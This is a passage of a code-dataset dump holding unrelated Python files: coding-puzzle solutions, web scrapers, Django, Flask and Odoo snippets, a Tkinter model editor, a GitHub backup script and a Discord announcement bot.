[t1, t2, tf.add(i, 1)]\n\n return tf.while_loop(cond, body, [t1, t2, 0])\n\nt1 = tf.constant(1)\nt2 = tf.constant(5)\niters = tf.constant(3)\n\nwith tf.Session() as sess:\n loop = cond_loop(t1, t2, iters)\n print(sess.run(loop)) ","sub_path":"Python Tensor/Exercise-TensorFlowHelloWorld.py","file_name":"Exercise-TensorFlowHelloWorld.py","file_ext":"py","file_size_in_byte":4491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"142232623","text":"\n# coding: utf-8\n\n# # [LEET] Add Digits - 258\n# \n# Given a non-negative integer num, repeatedly add all its digits until the result has only one digit.\n\n# In[35]:\n\n\ndef addigits(num):\n digits_str = list(str(num))\n x = 0 \n for y in digits_str:\n a = int(y)\n x += a\n print(x)\n if x > 9:\n return addigits(x)\n else:\n return x\n \n\n\n# In[39]:\n\n\naddigits(83)\n\n","sub_path":"Add Digits.py","file_name":"Add Digits.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"438588237","text":"from StringIO import StringIO\nfrom gzip import open as g_open\nfrom utilities import ensure_path\nfrom time import sleep\nfrom os.path import join\n\nclass FileSystem:\n\n def __init__( self, home_dir, client, storage_mode ):\n self.storage = storage_mode\n self.client = client\n self.home = home_dir\n self.dirs = { self.home : self.__resolve_directory_id__( home_dir ) }\n\n def __persistent_try__( self, function, args, description ):\n count = 10\n while True:\n try:\n return function( *args )\n except Exception as e:\n if count == 0:\n print( \"ERROR: hit retry limit \" + description + \" with \" + self.storage + \" ... \" )\n print( \"REASON: \" + str( e ) )\n return None\n else:\n print( 'WARNING: encountered issue ' + description\n + ' with ' + self.storage + ', will retry ...' )\n sleep( 2 )\n\n count = count - 1\n \n def __box_resolve_directory_id__( self, abs_pth ):\n abs_pth = abs_pth[ 1: ] if abs_pth[ 0 ] == '/' else abs_pth\n abs_pth = abs_pth[ :-1 ] if abs_pth[ -1 ] == '/' else abs_pth\n root = \"0\"\n for rel_path in abs_pth.split( \"/\" ):\n flag = False\n for e in self.client.folder( root ).get_items( 10000 ):\n if e.name == rel_path:\n flag = True\n root = e.id\n if not flag:\n print( \"ERROR: was unable to find box directory \" + rel_path + \"...\" )\n return root\n\n\n def __drive_resolve_directory_id__( self, abs_pth ):\n abs_pth = abs_pth[ 1: ] if abs_pth[ 0 ] == '/' else abs_pth\n abs_pth = abs_pth[ :-1 ] if abs_pth[ -1 ] == '/' else abs_pth\n root = \"root\"\n for rel_path in abs_pth.split( \"/\" ):\n flag = False;\n for e in self.client.ListFile({'q': \"'\" + root + \"' in parents\"}).GetList():\n if e[ 'title' ] == rel_path:\n flag = True\n root = e[ 'id' ]\n if not flag:\n print( \"WARNING: was unable to find drive directory \" + rel_path + \", creating new ...\" )\n file = self.client.CreateFile( { 'title': rel_path, 'mimeType': 'application/vnd.google-apps.folder',\n 'parents': [ { 'id': root } ] } )\n file.Upload()\n root = file[ 'id' ]\n return root\n\n\n def __resolve_directory_id__( self, folder_path ):\n if self.storage == 'box':\n return self.__persistent_try__( self.__box_resolve_directory_id__, [ folder_path ], 'resolving folder' )\n elif self.storage == 'drive':\n return self.__persistent_try__( self.__drive_resolve_directory_id__, [ folder_path ], 'resolving folder' )\n\n def get_dir( self, directory ):\n return self.dirs[ directory ]\n\n def add_dir( self, directory ):\n if directory not in self.dirs:\n self.dirs[ directory ] = self.__resolve_directory_id__( join( self.home, directory ) )\n","sub_path":"multiprocessing/fs.py","file_name":"fs.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"405414449","text":"#/usr/bin/python\n\nimport requests\nimport urllib.request\nfrom bs4 import BeautifulSoup\n\ndef spider():\n index_url = r'http://apod.nasa.gov/apod/archivepix.html'\n url = 'http://apod.nasa.gov/apod'\n source_code = requests.get(index_url)\n plain_text = source_code.text\n soup = BeautifulSoup(plain_text)\n for link in soup.findAll('a'):\n href = link.get('href')\n if href[0] is 'a':\n imageDownload( url+'/'+href , url )\n\ndef imageDownload(url1 , url2):\n source_code = requests.get(url1) \n plain_text = source_code.text\n soup = BeautifulSoup(plain_text) # Crawls Each page in index, obtains image URL and downloads the image\n for link in soup.findAll('img'):\n src = link.get('src')\n url2 = url2 + '/' + src\n name = src[11:]\n print(name)\n urllib.request.urlretrieve(url2,name); # Downloads the image to the working directory-where the script is saved\n\nspider()","sub_path":"apodNASA.py","file_name":"apodNASA.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"369503089","text":"import re\nfrom collections import defaultdict\n\ndef is_real(room):\n first_digit = re.search(\"\\d\", room).start()\n sector_id = int(room[first_digit:first_digit+3])\n checksum = room[-6:-1]\n name = room[:first_digit-1]\n name_string = \"\".join(name.split(\"-\"))\n\n d = defaultdict(int)\n for c in name_string:\n d[c] += 1\n\n # There is probably a better way to do this?\n # First sort alphabetically to resolve ties\n s1 = sorted(d.items(), key=lambda x: x[0])\n # Then sort by count (which preserves alphabetical order)\n s2 = sorted(s1, key=lambda x: x[1], reverse=True)\n\n common = \"\".join([t[0] for t in s2[:5]])\n return common == checksum, sector_id, name\n\n\nids = [is_real(line.strip()) for line in open(\"../inputs/04.txt\")]\nreal_ids = list(filter(lambda x: x[0] is True, ids))\n# Sum of sector IDs of the real rooms\nprint(sum(t[1] for t in real_ids))\n\n\n# Part 2 \nimport string\n\ndef decode(name, key):\n alphabet = string.ascii_lowercase\n new = []\n for c in name:\n if c != \"-\":\n # Shift cipher\n new.append(alphabet[(key + alphabet.index(c))\n % len(alphabet)])\n else:\n new.append(\" \")\n return \"\".join(new)\n\ndecrypted = [(s_id, decode(name, s_id)) for _, s_id, name in real_ids]\nprint([d for d in decrypted if \"northpole\" in d[1]])\n\n","sub_path":"2016/Python/solutions/day04.py","file_name":"day04.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"266178683","text":"def canJump(nums):\n jump = [False] * len(nums)\n jump[0] = True\n for i in range(0, len(nums)):\n for j in range(i, -1, -1):\n jump[i] = jump[i] or (jump[j] and (i - j) <= nums[j])\n if jump[i]: break\n \n return jump[-1]\n\n\ndef canJump2(nums):\n reach = 0\n n = len(nums)\n i = 0\n while i < n and i <= reach:\n reach = max(reach, i + nums[i])\n i += 1\n return reach >= n - 1\n\nif __name__ == \"__main__\":\n print(canJump2([2, 3, 1, 1, 4]))\n print(canJump2([3, 2, 1, 0, 4]))\n print(canJump2([0, 2, 3]))\n","sub_path":"jump_game_55.py","file_name":"jump_game_55.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"637368761","text":"import xmlAnal\nimport http_req\n\ndomain = \"http://www.diyibanzhu9.in\"\nsource_url = domain+\"/s.php\"\n\n# 请求报文\npost_data = {\"objectType\": \"2\", \"type\": \"articlename\", \"s\": \"\"}\n\n\n# 搜索表单内容拼接\ndef search(info):\n global post_data\n post_data[\"s\"] = info.encode(\"gbk\")\n\n\nif __name__ == \"__main__\":\n # 搜索内容\n search(\"星际后宫\")\n # 发起post请求,获取网页源代码\n html = http_req.req().req_p(source_url, post_data)\n # 解析搜索结果,获取所有小说书名,介绍\n xmlAnal.xmlAnal(html, domain).anal_all()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"367691809","text":"from django.core.management.base import BaseCommand, CommandError\n\nfrom nbuilder.apps import init_app\n\nclass Command (BaseCommand):\n help = 'static site builder'\n\n def add_arguments(self, parser):\n parser.add_argument('directory', nargs=1)\n parser.add_argument('--config', dest='config', default=None, help='App config Path')\n \n def handle(self, directory, **options):\n app = init_app(directory[0], self.stdout, self.stderr, options['config'])\n self.stdout.write(\"App Initialized: {}\".format(app.__class__.__module__))\n self.stdout.write(\"Processing {}\".format(directory[0]))\n app.setup(directory[0])\n app.process(directory[0])","sub_path":"nbuilder/nbuilder/management/commands/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"528808479","text":"#!/usr/bin/python3\nfrom flask import Flask, render_template\nfrom models import storage\nfrom models import State\n\"\"\"\nFILE 8\n\"\"\"\n\napp = Flask(__name__)\n\n\n@app.teardown_appcontext\ndef teardown(self):\n \"\"\"\n teardown handling\n \"\"\"\n storage.close()\n\n\n@app.route(\"/states\", strict_slashes=False)\ndef all_states():\n \"\"\"\n all states\n \"\"\"\n all_states = storage.all(State)\n my_list = all_states.values()\n return render_template('7-states_list.html', my_list=my_list)\n\n\n@app.route(\"/states/<id>\", strict_slashes=False)\ndef all_citiess(id):\n \"\"\"\n all cities\n \"\"\"\n ok = None\n all_states = storage.all(State)\n my_list = all_states.values()\n for i in my_list:\n if id == i.id:\n ok = i\n break\n return render_template('9-states.html', my_list=ok)\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0',\n port=5000,\n )\n","sub_path":"web_flask/9-states.py","file_name":"9-states.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"9692587","text":"#!/usr/bin/env python3\n# fd7e11b39efb193f485e66e1bb77e5634ced5856\n\nimport argparse\nimport datetime\nimport distutils.dir_util\nimport json\nimport logging\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport urllib.request\n\n\ndef get_logger():\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.DEBUG)\n\n handler = logging.StreamHandler()\n handler.setFormatter(logging.Formatter(\n '%(asctime)s;%(name)s;%(levelname)s;%(message)s'))\n logger.addHandler(handler)\n\n return logger\n\n\nBACKUP_TARGETS = ('repos', 'starred')\nLOGGER = get_logger()\n\n\ndef get_cl_arguments():\n parser = argparse.ArgumentParser(\n description=(\"The script performs backing up of\"\n \" a github user's starred repositories.\"))\n\n parser.add_argument('--token', required=False, help='Personal access token.')\n\n group = parser.add_mutually_exclusive_group(required=True)\n group.add_argument('-u', '--user', help='Github username.')\n group.add_argument('-o', '--organization', help='Github organization.')\n\n parser.add_argument(\n '-t', '--target', required=True,\n choices=('repos', 'starred'),\n help=\"Backup target: 'repos' or 'starred'.\")\n\n parser.add_argument(\n '-d', '--directory', default=os.getcwd(),\n type=lambda path: os.path.expanduser(path),\n help='Where to place created archive. [default: %(default)s]')\n\n parser.add_argument(\n '--ssh', default=False, action='store_true',\n help='Use ssh. [default: %(default)s]')\n\n parser.add_argument(\n '-s', '--submodules', default=False, action='store_true',\n help='Fetch submodules as well. [default: %(default)s]')\n\n parser.add_argument(\n '-x', '--exclude', nargs='*', default=[],\n help='Exclude repositories. [default: %(default)s]')\n\n parser.add_argument(\n '--squash', default=False, action='store_true',\n help=('Use index file to squash backups into one archive. '\n '[default: %(default)s]'))\n\n parser.add_argument(\n '--doctests', default=False, action='store_true',\n help='Run doctests. [default: %(default)s]')\n\n return parser.parse_args()\n\n\nclass Settings:\n INDEX_BASE_NAME = 'github-{username}-{backup_target}.index'\n DIRECTORY_BASE_NAME = 'github-{username}-{backup_target}-{timestamp}'\n\n def __init__(self, options):\n if options.target not in BACKUP_TARGETS:\n raise ValueError(\n 'invalid backup target, only one of {{{}}} allowed'\n .format(BACKUP_TARGETS))\n\n self._username = options.user\n self._organization = options.organization\n self._token = options.token\n self._backup_target = options.target\n self._directory = options.directory\n self._ssh = options.ssh\n self._submodules = options.submodules\n self._exclude = options.exclude\n self._timestamp = datetime.datetime.utcnow().strftime('%Y%m%d%H%M')\n\n @property\n def _base_url(self):\n return ''.join([\n 'https://api.github.com/',\n 'users' if self._username else 'orgs',\n '/{username}' if self._username else '/{organization}',\n '/{backup_target}?page={{page_no}}'\n ])\n\n @property\n def archive_name(self):\n return Settings.DIRECTORY_BASE_NAME.format(\n username=self._username or self._organization,\n backup_target=self._backup_target,\n timestamp=self.timestamp)\n\n @property\n def index_name(self):\n return Settings.INDEX_BASE_NAME.format(\n username=self._username or self._organization,\n backup_target=self._backup_target)\n\n @property\n def url(self):\n return self._base_url.format(\n username=self._username,\n organization=self._organization,\n backup_target=self._backup_target)\n\n @property\n def directory(self):\n return self._directory\n\n @property\n def ssh(self):\n return self._ssh\n\n @property\n def submodules(self):\n return self._submodules\n\n @property\n def exclude(self):\n return self._exclude\n\n @property\n def timestamp(self):\n return self._timestamp\n\n @property\n def token(self):\n return self._token\n\n\ndef infinity(start=0):\n count = start\n while True:\n yield count\n count += 1\n\n\ndef request(settings, url):\n request = urllib.request.Request(url)\n\n if settings.token is not None:\n request.add_header('Authorization', 'token {}'.format(settings.token))\n\n with urllib.request.urlopen(request) as response:\n return json.loads(response.read().decode('utf-8'))\n\n\ndef get_repos_data(settings):\n \"\"\"\n Talks to github api.\n Returns list of dicts with info about repositories.\n \"\"\"\n\n repos = list()\n base_url = settings.url\n\n for i in infinity(start=1):\n url = base_url.format(page_no=i)\n LOGGER.info('requesting {}'.format(url))\n response = request(settings, url)\n\n if not response:\n LOGGER.info('nothing got from {}, break'.format(url))\n break\n\n repos.extend(response)\n\n return repos\n\n\ndef get_repo_name(clone_url):\n \"\"\"\n >>> get_repo_name('https://github.com/stumpwm/stumpwm.git')\n 'stumpwm'\n\n >>> get_repo_name('https://github.com/rremizov/rremizov.github.io.git')\n 'rremizov.github.io'\n \"\"\"\n\n return clone_url.rpartition('/')[2].rpartition('.')[0]\n\n\ndef backup_repos(settings, repos_urls):\n cloned_repos = set()\n\n with tempfile.TemporaryDirectory() as tmpdirname:\n os.chdir(tmpdirname)\n dirname = settings.archive_name\n os.mkdir(dirname)\n os.chdir(dirname)\n\n for url in repos_urls:\n try:\n settings.exclude.index(get_repo_name(url))\n LOGGER.info('skipping {}'.format(url))\n continue\n except ValueError:\n LOGGER.info('cloning {}'.format(url))\n\n status_code = subprocess.call(['git', 'clone', url])\n\n if status_code == 0:\n LOGGER.info('successfully cloned {}'.format(url))\n cloned_repos.add(get_repo_name(url))\n\n else:\n LOGGER.info(\n 'error while cloning {}, error code {}'.format(url, status_code))\n continue\n\n if settings.submodules:\n os.chdir(get_repo_name(url))\n status_code = subprocess.call(\n ['git', 'submodule', 'update', '--init'])\n\n if status_code == 0:\n LOGGER.info(\n 'successfully fetched submodules for {}'.format(url))\n else:\n LOGGER.info(\n 'error while fetching submodules for {}'.format(url))\n\n os.chdir('..')\n\n os.chdir('..')\n archive_name = dirname + '.tar.gz'\n LOGGER.info('archiving cloned repositories into {}'.format(archive_name))\n status_code = subprocess.call(['tar', 'czf', archive_name, dirname])\n\n if status_code == 0:\n LOGGER.info('successfully created archive {}'.format(archive_name))\n update_index(cloned_repos, settings)\n\n else:\n LOGGER.info('error while archiving, code {}'.format(status_code))\n\n shutil.move(archive_name, settings.directory)\n\n LOGGER.info(\n 'successfully backed up {} of {} repos'.format(\n len(cloned_repos), len(repos_urls)))\n\n\ndef update_index(repos, settings):\n index = dict()\n index_path = os.path.join(settings.directory, settings.index_name)\n LOGGER.info('updating index {}'.format(index_path))\n\n if os.path.exists(index_path):\n shutil.copyfile(index_path, index_path + '.bak.' + settings.timestamp)\n\n with open(index_path, 'r') as fh:\n try:\n index = json.loads(fh.read())\n except ValueError:\n pass\n\n for repo_name in repos:\n index[repo_name] = {\n 'file': settings.archive_name,\n 'timestamp': settings.timestamp\n }\n\n with open(index_path, 'w') as fh:\n print(json.dumps(index, indent=4), file=fh)\n\n LOGGER.info('successfully updated index')\n\n\ndef backup(settings):\n repos = get_repos_data(settings)\n\n LOGGER.info('collecting repositories\\' urls from fetched data')\n mapper = lambda repo_info: repo_info['clone_url']\n if settings.ssh:\n mapper = mapper = lambda repo_info: repo_info['ssh_url']\n repos_urls = list(map(mapper, repos))\n\n del repos\n\n backup_repos(settings, repos_urls)\n\n\ndef squash(settings):\n index_path = os.path.join(settings.directory, settings.index_name)\n LOGGER.info('squash backups using {}'.format(index_path))\n\n with open(index_path) as fh:\n index = json.load(fh)\n\n if len({v['file'] for k, v in index.items()}) == 1:\n LOGGER.info('squash is not required, exit')\n sys.exit(0)\n\n repos = dict()\n processed_archives = set()\n\n with tempfile.TemporaryDirectory() as tmpdirname:\n os.chdir(tmpdirname)\n\n for repo_name, info in index.items():\n status_code = subprocess.call([\n 'tar', 'xzf',\n os.path.join(settings.directory, info['file'] + '.tar.gz'),\n '{}/{}'.format(info['file'], repo_name)])\n\n if status_code == 0:\n processed_archives.add(info['file'] + '.tar.gz')\n LOGGER.info('successfully extracted {} from {}'.format(\n repo_name, info['file']))\n\n else:\n LOGGER.info(\n 'tar returned status code {}, exit'.format(status_code))\n sys.exit(1)\n\n new_dirpath = os.path.join(tmpdirname, settings.archive_name)\n for dirname in os.listdir('.'):\n LOGGER.info(\n 'moving {} contents into {}'.format(dirname, new_dirpath))\n distutils.dir_util.copy_tree(\n os.path.join(tmpdirname, dirname),\n new_dirpath)\n\n archive_name = settings.archive_name + '.tar.gz'\n LOGGER.info(\n 'archiving extracted repositories into {}'.format(archive_name))\n status_code = subprocess.call([\n 'tar', 'czf', archive_name, settings.archive_name])\n\n if status_code == 0:\n LOGGER.info('successfully created archive {}'.format(archive_name))\n update_index(index.keys(), settings)\n\n else:\n LOGGER.info('error while archiving, code {}'.format(status_code))\n sys.exit(1)\n\n shutil.move(archive_name, settings.directory)\n\n LOGGER.info('successfully squashed {} into {}'.format(\n repr(processed_archives), archive_name))\n\n LOGGER.info('moving processed archives')\n squashed_path = os.path.join(settings.directory, 'squashed')\n os.mkdir(squashed_path)\n\n for name in processed_archives:\n shutil.move(os.path.join(settings.directory, name), squashed_path)\n\n LOGGER.info('successfully moved processed archives')\n\n\nif __name__ == '__main__':\n CL_ARGUMENTS = get_cl_arguments()\n\n if CL_ARGUMENTS.doctests:\n import doctest\n doctest.testmod()\n\n elif CL_ARGUMENTS.squash:\n squash(Settings(CL_ARGUMENTS))\n\n else:\n backup(Settings(CL_ARGUMENTS))\n\n","sub_path":"github-backup.py","file_name":"github-backup.py","file_ext":"py","file_size_in_byte":11390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"638338135","text":"\"\"\"Sale Order Models.\"\"\"\n# See LICENSE file for full copyright and licensing details.\n\n\nfrom odoo import fields, models\n\n\nclass SaleOrder(models.Model):\n \"\"\"Sale Order Model.\"\"\"\n\n _inherit = \"sale.order\"\n\n state_id = fields.Many2one(related=\"partner_id.state_id\",\n string=\"State\", store=True)\n","sub_path":"stock_extended/models/sale_order.py","file_name":"sale_order.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"481716355","text":"# $Id: SpatialModelEditor.py,v 1.1.1.1.6.2 2017/02/01 04:22:14 jasercio Exp $\n\n#******************************************************************************\n\n# Import external modules.\n\n# Standard modules\nfrom tkinter.filedialog import Open\nimport tkinter\n\n# Third-party modules\nimport Pmw\n\n# Project modules\nfrom ElementEditor import ElementEditor\nfrom Parameter import Parameter\nfrom ParameterEditor import ParameterEditor\nfrom SpatialModel import SpatialModel\n\n#******************************************************************************\n\nclass SpatialModelEditor(ElementEditor):\n \"\"\"Class to edit ModelEditor SpatialModel objects.\n\n Python implementation of the SpatialModelEditor class which allows\n the user to edit the fields of a <spatialModel> element. This\n compound widget is designed to be embedded in other widgets.\n\n Attributes:\n\n _typeOptionMenu: (Pmw.OptionMenu) For selecting the SpatialModel\n type.\n\n _fileEntryField: (Pmw.EntryField) For specifying a file associated\n with the SpatialModel.\n\n _fileBrowseButton: (tkinter.Button) Summons a Open dialog to select\n a file for the fileEntryField.\n\n _parameterEditors: (ParameterEditor) List of ParameterEditor\n objects for individual Parameters.\n \"\"\"\n\n #--------------------------------------------------------------------------\n\n # Class constants\n\n # Number of ParameterEditors to create\n _nParameterEditors = 7\n\n #--------------------------------------------------------------------------\n\n def __init__(self,\n parent = None,\n spatialModel = None,\n *args, **kwargs):\n \"\"\"Initialize this SpatialModelEditor.\n\n Parameters:\n\n self: This object.\n\n parent: (tkinter.Frame) Parent object for this widget.\n\n spectrum: (SpatialModel) SpatialModel to initialize fields.\n\n Return value:\n\n None.\n\n Description:\n\n Initialize this SpectrumEditor.\n \"\"\"\n\n # Initialize the parent class (which calls _makeWidgets and\n # set for this class).\n if spatialModel is None:\n spatialModel = SpatialModel()\n ElementEditor.__init__(self, parent, spatialModel, *args, **kwargs)\n\n #--------------------------------------------------------------------------\n\n def _makeWidgets(self):\n \"\"\"Build child widgets.\n\n Parameters:\n\n self: This object.\n\n Return value:\n\n None.\n\n Description:\n\n Create all of the GUI widgets required by this object.\n \"\"\"\n\n # Create any inherited widgets.\n ElementEditor._makeWidgets(self)\n\n # Create and grid a OptionMenu for the SpatialModel type.\n width = max([len(s) for s in SpatialModel._validTypes])\n optionMenu = Pmw.OptionMenu(self, items = \\\n sorted(SpatialModel._validTypes),\n label_text = 'Spatial Model Type:',\n labelpos = 'w',\n menubutton_width = width,\n command = self._onSelectType)\n optionMenu.grid(row = 0, column = 0, sticky = 'w')\n self._typeOptionMenu = optionMenu\n self._balloon.bind(self._typeOptionMenu, 'Set the spatial model type.')\n\n # Create and grid an arbitrary string EntryField for the\n # SpatialModel file, and an accompanying button which summons\n # an Open dialog.\n entryField = Pmw.EntryField(self, labelpos = 'w', label_text = 'File:')\n entryField.grid(row = 0, column = 1, sticky = 'e')\n self._fileEntryField = entryField\n self._balloon.bind(self._fileEntryField,\n 'Enter the path to the file of data for this'\\\n ' spatial model.')\n button = tkinter.Button(self, text = 'Browse', command = self.onBrowse)\n button.grid(row = 0, column = 2, sticky = 'e')\n self._fileBrowseButton = button\n self._balloon.bind(self._fileBrowseButton,\n 'Browse to the file of data for this spatial '\\\n 'model.')\n\n # Create and grid a Frame for the set of ParameterEditors.\n frame = tkinter.Frame(self)\n frame.grid(row = 1, column = 0, columnspan = 3, sticky = 'ew')\n\n # Create and grid a set of ParameterEditors.\n self._parameterEditors = []\n for row in range(SpatialModelEditor._nParameterEditors):\n if row == 0:\n showLabels = True\n else:\n showLabels = False\n parameterEditor = ParameterEditor(frame, showLabels = showLabels)\n parameterEditor.grid(row = row, column = 0, sticky = 'ew')\n self._parameterEditors.append(parameterEditor)\n\n #--------------------------------------------------------------------------\n\n def get(self):\n \"\"\"Return the contents of the editor.\n\n Parameters:\n\n self: This object.\n\n Return value:\n\n Copy of SpatialModel being edited.\n\n Description:\n\n Return a new SpatialModel containing the current state of the\n editor.\n \"\"\"\n\n # Fetch the type.\n type = self._typeOptionMenu.getvalue()\n\n # Fetch the file (mapping empty string to None).\n file = self._fileEntryField.getvalue()\n if file == '':\n file = None\n\n # Get the contents of each needed ParameterEditor.\n parameters = [parameterEditor.get() \\\n for parameterEditor in \\\n self._parameterEditors[:self._nActiveParameterEditors]]\n\n # Create the new SpatialModel.\n spatialModel = SpatialModel(type, file, parameters)\n\n # Return the new SpatialModel.\n return spatialModel\n\n def set(self, spatialModel):\n \"\"\"Set the editor state.\n\n Parameters:\n\n self: This object.\n\n spatialModel: (SpatialModel): Object to set in this editor.\n\n Return value:\n\n None.\n\n Description:\n \n Set the fields using a SpatialModel.\n \"\"\"\n\n # Set the type OptionMenu.\n type = spatialModel.getType()\n self._typeOptionMenu.setvalue(type)\n\n # Set the file field (mapping None to empty string).\n file = spatialModel.getFile()\n if file is None:\n file = ''\n self._fileEntryField.setvalue(file)\n if type == 'MapCubeFunction' or type == 'SpatialMap':\n self._fileEntryField.configure(entry_state = 'normal')\n self._fileBrowseButton.configure(state = 'normal')\n else:\n self._fileEntryField.configure(entry_state = 'disabled')\n self._fileBrowseButton.configure(state = 'disabled')\n\n # Initially clear and disable all ParameterEditors (to prevent\n # shadowing of old values).\n for parameterEditor in self._parameterEditors:\n parameterEditor.clear()\n parameterEditor.disable()\n\n # Use the current Parameters to fill in and enable the\n # required number of ParameterEditors.\n parameters = spatialModel.getParameters()\n i = 0\n for parameter in parameters:\n self._parameterEditors[i].enable()\n self._parameterEditors[i].set(parameter)\n i += 1\n self._nActiveParameterEditors = i\n\n #--------------------------------------------------------------------------\n\n def enable(self):\n \"\"\"Activate all child widgets.\n\n Parameters:\n\n self: This object.\n\n Return value:\n\n None:\n\n Description:\n\n Activate all of the child widgets in this SpatialModelEditor.\n \"\"\"\n self._typeOptionMenu.configure(menubutton_state = 'normal')\n self._fileEntryField.configure(entry_state = 'normal')\n self._fileBrowseButton.configure(state = 'normal')\n for parameterEditor in self._parameterEditors:\n parameterEditor.enable()\n\n def disable(self):\n \"\"\"Deactivate all child widgets.\n\n Parameters:\n\n self: This object.\n\n Return value:\n\n None:\n\n Description:\n \n Deactivate all of the child widgets in this SpatialModelEditor.\n \"\"\"\n self._typeOptionMenu.configure(menubutton_state = 'disabled')\n self._fileEntryField.configure(entry_state = 'disabled')\n self._fileBrowseButton.configure(state = 'disabled')\n for parameterEditor in self._parameterEditors:\n parameterEditor.disable()\n\n #--------------------------------------------------------------------------\n\n def _onSelectType(self, type):\n \"\"\"Process selection events in the type list box.\n\n Parameters:\n\n self: This object.\n\n type: (string) New SpatialModel type string.\n\n Return value:\n\n None.\n\n Description:\n \n Process the selection of a new SpatialModel type in the type\n OptionMenu.\n \"\"\"\n\n # If the new type is the same as the previous type, no change\n # is needed.\n if type == self._referenceElement.getType():\n return\n\n # A new SpatialModel type has been selected, so create a new\n # one.\n spatialModel = SpatialModel(type = type)\n\n # Set the editor with the new SpatialModel.\n self.set(spatialModel)\n self.commit()\n\n #--------------------------------------------------------------------------\n\n def onBrowse(self):\n \"\"\"Present the File Open dialog.\n\n Parameters:\n\n self: This object.\n\n Return value:\n\n String containing the path to the selected file, or None if no\n file was selected.\n\n Description:\n\n Display the File/Open dialog box and return the path to the\n selected file.\n \"\"\"\n\n # Present the file/open dialog.\n path = Open().show()\n\n # If no file was selected, return.\n if path == '':\n return\n\n # Save the current path in the file entry field.\n self._fileEntryField.setvalue(path)\n\n #--------------------------------------------------------------------------\n\n def setDS9Connector(self,connector):\n self._ds9Connector = connector\n #also pass down to the Parameter Editors\n for editor in self._parameterEditors:\n editor.setDS9Connector(connector)\n\n \n#******************************************************************************\n\n# Self-test code.\nimport xml.dom.minidom\ndomDocument = xml.dom.minidom.Document()\n\n# Printing routine for buttons.\ndef _print(editor):\n print (editor.get())\n if editor.getChanged():\n print (\"Changed by the editor.\")\n\n# XML printing routine for buttons.\ndef _printXML(editor):\n element = editor.get()\n dom = element.toDom(domDocument)\n print (dom.toxml())\n if editor.getChanged():\n print (\"Changed by the editor.\")\n\nif __name__ == '__main__':\n\n # Create the root window.\n root = tkinter.Tk()\n Pmw.initialise(root)\n root.title('SpatialModelEditor test')\n\n # Create and grid an editor for a default SpatialModel, a button\n # to commit changes, and a button to dump its contents.\n spatialModelEditor = SpatialModelEditor()\n spatialModelEditor.grid(row = 0, column = 0)\n commitButton = tkinter.Button(root, text = 'Commit',\n command = spatialModelEditor.commit)\n commitButton.grid(row = 0, column = 1)\n resetButton = tkinter.Button(root, text = 'Reset',\n command = spatialModelEditor.reset)\n resetButton.grid(row = 0, column = 2)\n printButton = tkinter.Button(root, text = 'Print',\n command = \\\n lambda: _print(spatialModelEditor))\n printButton.grid(row = 0, column = 3)\n printXMLButton = tkinter.Button(root, text = 'Print XML',\n command = \\\n lambda: _printXML(spatialModelEditor))\n printXMLButton.grid(row = 0, column = 4)\n\n # Enter the main program loop.\n root.mainloop()\n","sub_path":"SpatialModelEditor.py","file_name":"SpatialModelEditor.py","file_ext":"py","file_size_in_byte":12198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"204398240","text":"import os\nimport asyncio\nimport datetime\nimport discord\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\nfrom schedule import calendar\nfrom util import logging\n\nlogging.init()\nbot = commands.Bot(command_prefix='?')\n\ndef main():\n load_dotenv()\n \n global events_channel\n bot.loop.create_task(check_schedule())\n bot.run(os.getenv(\"DISCORD_TOKEN\"))\n\n'''\n@bot.check\nasync def is_admin(ctx):\n # Check role for MLH or Lead Mentor\n pass\n'''\n\nasync def check_schedule():\n await bot.wait_until_ready()\n global events_channel, fellow_role, ttp_fellow_role\n events_channel = bot.get_channel(int(os.getenv(\"DISCORD_EVENTS_ID\")))\n fellow_role = bot.get_guild(int(os.getenv(\"DISCORD_GUILD_ID\"))).get_role(int(os.getenv(\"DISCORD_ROLE_ID\"))) \n ttp_fellow_role = bot.get_guild(int(os.getenv(\"DISCORD_GUILD_ID\"))).get_role(int(os.getenv(\"DISCORD_ROLE_TTP_ID\"))) \n\n while True:\n session = calendar.get_next_session()\n announcement_time_first = (session.start - datetime.timedelta(minutes=15))\n announcement_time_last = (session.start - datetime.timedelta(minutes=3))\n if check_times(announcement_time_first):\n await send_long_announcement(session)\n elif check_times(announcement_time_last):\n await send_short_announcement(session)\n await asyncio.sleep(60)\n\nasync def send_long_announcement(session):\n global events_channel, fellow_role, ttp_fellow_role\n img_url = 'https://mlh.will-russell.com/img/discord-session.jpg'\n \n if session.description == None:\n if check_url(session.url):\n embed = discord.Embed(title=session.title,\n description=session.url,\n url=session.url,\n colour=0x1D539F)\n else:\n embed = discord.Embed(title=session.title,\n description=session.url,\n colour=0x1D539F)\n else:\n if check_url(session.url):\n embed = discord.Embed(title=session.title,\n 